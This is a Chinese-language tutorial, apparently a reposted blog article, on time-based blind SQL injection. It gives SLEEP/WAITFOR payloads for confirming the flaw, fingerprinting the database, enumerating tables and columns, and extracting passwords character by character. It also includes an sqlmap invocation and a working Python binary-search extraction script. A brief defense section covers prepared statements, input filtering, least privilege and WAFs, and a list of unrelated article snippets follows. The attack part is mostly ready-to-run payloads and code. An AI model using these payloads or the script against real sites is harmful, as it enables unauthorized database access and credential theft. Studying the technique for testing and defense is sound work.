SQL注入之时间盲注攻击流程详解

news2025/4/16 14:01:32

目录

一、时间盲注原理

二、完整攻击流程

1. 注入点确认

2. 基础条件判断

3. 系统信息收集

(1)获取数据库版本

(2)获取当前数据库名

4. 数据提取技术

(1)表名枚举

(2)列名猜测

(3)逐字符数据提取

5. 自动化优化技巧

(1)二分法加速判断

(2)多线程爆破

三、工具辅助利用

1. SQLMap自动化注入

2. 手动脚本示例(Python)

四、防御方案

五、时间盲注 vs 报错注入

六、总结


一、时间盲注原理

​时间盲注(Time-Based Blind SQL Injection)​​是SQL注入的高级利用方式,适用于以下场景:

  • 页面无数据回显(无显示位)
  • 数据库错误信息被屏蔽
  • HTTP响应状态码统一(无布尔型注入条件)

​核心原理​​:通过构造带有​​时间延迟函数​​的SQL语句,根据页面响应时间判断注入条件是否成立。例如:

' AND IF(1=1, SLEEP(5), 0) -- 

若页面响应延迟5秒,则说明条件成立(1=1为真)。


二、完整攻击流程

1. 注入点确认

​目标​​:验证是否存在时间盲注漏洞
​Payload构造​​:

' AND SLEEP(5) -- 

' ; WAITFOR DELAY '0:0:5' -- (MSSQL)

​判断依据​​:

  • 正常请求响应时间 < 1秒
  • 注入后响应时间 ≥ 5秒则存在漏洞

2. 基础条件判断

​目标​​:通过延迟验证布尔条件
​示例(MySQL)​​:

' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(3), 0) -- 
  • 若页面延迟3秒,说明当前数据库首字母ASCII码 > 100(即字母为'e',ASCII 101)
  • 可逐步调整阈值(二分法)快速定位准确值

3. 系统信息收集

(1)获取数据库版本
' AND IF(ASCII(SUBSTR(@@version,1,1))=53, SLEEP(3),0) -- 

判断版本首字符是否为'5'(ASCII 53),对应MySQL 5.x版本

(2)获取当前数据库名
' AND IF(ASCII(SUBSTR(database(),1,1))=100, SLEEP(3),0) -- 

通过逐字符判断(d的ASCII为100),最终拼接得到完整库名


4. 数据提取技术

(1)表名枚举
' AND IF(ASCII(SUBSTR(
(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)
,1,1))=117, SLEEP(3),0) -- 

验证首个表名的首字母是否为'u'(ASCII 117),即常见users表

(2)列名猜测
' AND IF(ASCII(SUBSTR(
(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)
,1,1))=105, SLEEP(3),0) -- 

判断users表首列首字母是否为'i'(id列)

(3)逐字符数据提取
' AND IF(ASCII(SUBSTR(
(SELECT password FROM users LIMIT 0,1)
,1,1))=97, SLEEP(3),0) -- 

判断首行密码首字符是否为'a'(ASCII 97)


5. 自动化优化技巧

(1)二分法加速判断
  • 代替逐次遍历(0-255),采用二分法(每次缩小一半范围)
  • 例:判断ASCII值是否>128 → 是则范围缩小到128-255
(2)多线程爆破
  • 对多个字符位置同时发起请求
  • 需注意目标服务器的并发限制

三、工具辅助利用

1. SQLMap自动化注入

sqlmap -u "http://example.com?id=1" --technique=T --time-sec=3

参数说明:

  • --technique=T:指定时间盲注技术
  • --time-sec=3:定义延迟阈值

2. 手动脚本示例(Python)

import requests
import time

target_url = "http://example.com?id=1"
payload = "' AND IF(ASCII(SUBSTR((SELECT DATABASE()),{},1))>{},SLEEP(3),0) -- "

for position in range(1, 20):
    low = 0
    high = 255
    while low <= high:
        mid = (low + high) // 2
        current_payload = payload.format(position, mid)
        start_time = time.time()
        requests.get(target_url + current_payload)
        elapsed = time.time() - start_time
        if elapsed > 3:
            low = mid + 1
        else:
            high = mid - 1
    print(f"Position {position}: {chr(high)}")

四、防御方案

  1. ​预编译语句(Prepared Statements)​

    # Python示例
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
  2. ​输入过滤​

    • 白名单验证数字类型:user_id = int(input_data)
    • 过滤特殊字符:'";<>()&|
  3. ​权限控制​

    • 数据库账户仅授予最小必要权限
    • 禁用敏感函数(如SLEEP()EXEC
  4. ​WAF防护​

    • 部署Web应用防火墙拦截时间盲注特征
    • 设置请求超时阈值(如单请求最长处理时间2秒)

五、时间盲注 vs 报错注入

对比项时间盲注报错注入
适用场景无任何回显有错误信息回显
攻击速度极慢(需等待延迟)较快
检测难度更难被传统WAF识别易被基于错误的规则检测
典型函数SLEEP()、BENCHMARK()updatexml()、extractvalue()
数据提取方式逐字符二分法判断直接显示在错误信息中

六、总结

时间盲注通过时间延迟作为判断依据,是渗透测试中突破无回显场景的利器。其核心在于:

  • ​精准的延迟控制​​:需考虑网络波动干扰
  • ​高效的字符猜测策略​​:优先使用二分法
  • ​自动化脚本辅助​​:手动测试效率极低

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2335055.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

c# Kestrel

Kestrel 是 .NET 中用于 ASP.NET Core 应用程序的跨平台 Web 服务器。它是轻量级且高性能的&#xff0c;能够处理大量并发连接&#xff0c;常被用作 ASP.NET Core 应用的默认服务器。以下为你介绍 Kestrel 的基本使用和配置&#xff1a; 基本使用 创建一个简单的 ASP.NET Cor…

x86 保护模式中的GDT表是什么?

GDT&#xff08;全局描述符表&#xff0c;Global Descriptor Table&#xff09;是 x86 保护模式下用于描述不同类型内存段的一个重要数据结构。在保护模式下&#xff0c;GDT 用于管理和保护系统内存&#xff0c;它通过提供一组段描述符来定义内存的访问权限、大小、类型等属性 …

筛选条件在on和where中的区别(基于hivesql)

理解筛选条件在on和where中的区别&#xff0c;最好先理解sql的执行顺序&#xff0c;尽管实际执行时不同的物理执行引擎可能会有特定的优化&#xff0c;但是逻辑执行顺序必须遵循&#xff1a; 1&#xff09;from&#xff1a;确定数据源是什么&#xff0c;from后可以是单表&#…

vue3+vite+ts使用daisyui/tailwindcss

vite创建vue3脚手架 npm init vitelatest myVue3 – --template vue cd .\myVue3\ npm i npm run dev 安装tailwindcss/daisyui 依赖安装 npm install -D tailwindcss postcss autoprefixer daisyui npx tailwindcss init -p 这条命令将生成postcss.config.js(因为加了…

大联盟(特别版)双端互动平台完整套件分享:含多模块源码+本地部署环境

这是一套结构清晰、功能完整的互动平台组件&#xff0c;适合有开发经验的技术人员进行模块参考、结构研究或本地部署实验使用。 该平台覆盖前端展示、后端服务、移动端资源以及完整数据库&#xff0c;采用模块化架构&#xff0c;整体部署流程简单清晰&#xff0c;适合自研团队参…

Spark-SQL

Spark-SQL 概述 Spark SQL 是 Spark 用于结构化数据(structured data)处理的 Spark 模块 Shark 是伯克利实验室 Spark 生态环境的组件之一&#xff0c;是基于 Hive 所开发的工具&#xff0c;它修改了内存管理、物理计划、执行三个模块&#xff0c;并使之能运行在 Spark 引擎上…

无人机气动-结构耦合技术要点与难点

一、技术要点 1. 多学科耦合建模 气动载荷与结构响应的双向耦合&#xff1a;气动力&#xff08;如升力、阻力、力矩&#xff09;导致结构变形&#xff0c;而变形改变气动外形&#xff0c;进一步影响气流分布&#xff0c;形成闭环反馈。 建模方法&#xff1a; 高精度C…

element-ui plus 中 filter-method 函数多次触发问题解决

前情提要 点进这个文章的小伙伴&#xff0c;应该都是为了解决一个需求&#xff0c;把原本的前端过滤改为后端过滤&#xff0c;但是将filter-method修改为后端取数据后&#xff0c;发现其触发了很多次。博主也是在修改表格过滤时用到了这个坑&#xff0c;本篇文章为大家解决一下…

基于【Lang Chain】构建智能问答系统的实战指南

&#x1f407;明明跟你说过&#xff1a;个人主页 &#x1f3c5;个人专栏&#xff1a;《深度探秘&#xff1a;AI界的007》 &#x1f3c5; &#x1f516;行路有良友&#xff0c;便是天堂&#x1f516; 目录 一、引言 1、什么是Lang Chain 2、LangChain在问答系统中的核心优…

TestHubo安装及入门指南

TestHubo是一款开源免费的测试管理工具&#xff0c;提供一站式测试解决方案&#xff0c;涵盖功能测试、接口测试、性能测试以及 Web 和 App 测试等多个维度。TestHubo 整合了全面的测试能力&#xff0c;使团队可以在一个平台内完成所有测试需求。本文将介绍如何快速安装配置及入…

react tailwindcss最简单的开始

参考教程&#xff1a; Install Tailwind CSS with Vite - TailwindCSS中文文档 | TailwindCSS中文网https://www.tailwindcss.cn/docs/guides/vite操作过程&#xff1a; Microsoft Windows [版本 10.0.26100.3476] (c) Microsoft Corporation。保留所有权利。D:\gitee\tailwi…

openGauss新特性 | 自动参数化执行计划缓存

目录 自动化参数执行计划缓存简介 SQL参数化及约束条件 一般常量参数化示例 总结 自动化参数执行计划缓存简介 执行计划缓存用于减少执行计划的生成次数。openGauss数据库会缓存之前生成的执行计划&#xff0c;以便在下次执行该SQL时直接使用&#xff0c;可…

3、组件:魔法傀儡的诞生——React 19 组件化开发全解析

一、开篇&#xff1a;魔法傀儡的觉醒 "每个React组件都像一具魔法傀儡&#xff0c;"邓布利多校长挥动魔杖&#xff0c;空中浮现出闪烁的代码字符&#xff0c;"它们能自主思考、协同工作&#xff0c;甚至能跨越时空&#xff08;服务器与客户端&#xff09;执行任…

达梦数据库迁移问题总结

更多技术博客&#xff0c;请关注微信公众号&#xff1a;运维之美 问题一、DTS工具运行乱码 开启图形化 [rootlocalhost ~]# xhost #如果命令不存在执行sudo yum install xorg-x11-server-utils xhost: unable to open display "" [rootlocalhost ~]# su - dmd…

OpenHarmony荷兰研习会回顾 | 仓颉语言赋能原生应用开发实践

近日&#xff0c;由全球顶级学术峰会EuroSys/ASPLOS和OpenHarmony社区在荷兰鹿特丹合办的操作系统深度研习会圆满收官&#xff0c;本次研习会以"架构探秘-开发实践-创新实验"三位一体的进阶模式&#xff0c;为全球开发者构建了沉浸式技术探索平台。其中&#xff0c;由…

RV1126 人脸识别门禁系统解决方案

1. 方案简介 本方案为类人脸门禁机的产品级解决方案,已为用户构建一个带调度框架的UI应用工程;准备好我司的easyeai-api链接调用;准备好UI的开发环境。具备低模块耦合度的特点。其目的在于方便用户快速拓展自定义的业务功能模块,以及快速更换UI皮肤。 2. 快速上手 2.1 开…

matlab内置的git软件版本管理功能

1、matlab多人协作开发比普通的嵌入式软件开发困难很多 用过matlab的人都知道,版本管理对于matlab来说真的很费劲,今天介绍的这个工具也不是说它就解决了这个痛点,只是让它变得简单一点。版本管理肯定是不可或缺的,干就完了 2、操作说明 如图所示,源代码管理,选项罗列的…

《前端面试题之 CSS篇(第一集)》

目录 1、CSS的盒模型2、CSS选择器及其优先级3、隐藏元素的方法有那些4、px、em、rem的区别及使用场景5、重排、重绘有什么区别6、水平垂直居中的实现7、CSS中可继承与不可继承属性有哪些8、Sass、Less 是什么&#xff1f;为什么要使用他们&#xff1f;9、CSS预处理器/后处理器是…

MySQL部分总结

mysql学习笔记&#xff0c;如有不足还请指出&#xff0c;谢谢。 外连接&#xff0c;内连接&#xff0c;全连接 外连接&#xff1a;左外、右外 内连接&#xff1a;自己和自己连接 全连接&#xff1a;左外连接右外链接 mysql unique字段 unique可以在数据库层面避免插入相同…

Linux Kernel 2

地址空间&#xff08;Address Space&#xff09; 一、物理地址空间&#xff08;Physical Address Space&#xff09; 物理地址空间 是指 RAM 和设备内存 在系统内存总线上所呈现的地址布局。 举例&#xff1a;在典型的 32 32 32 位 Intel 架构中&#xff0c; RAM&#xff08…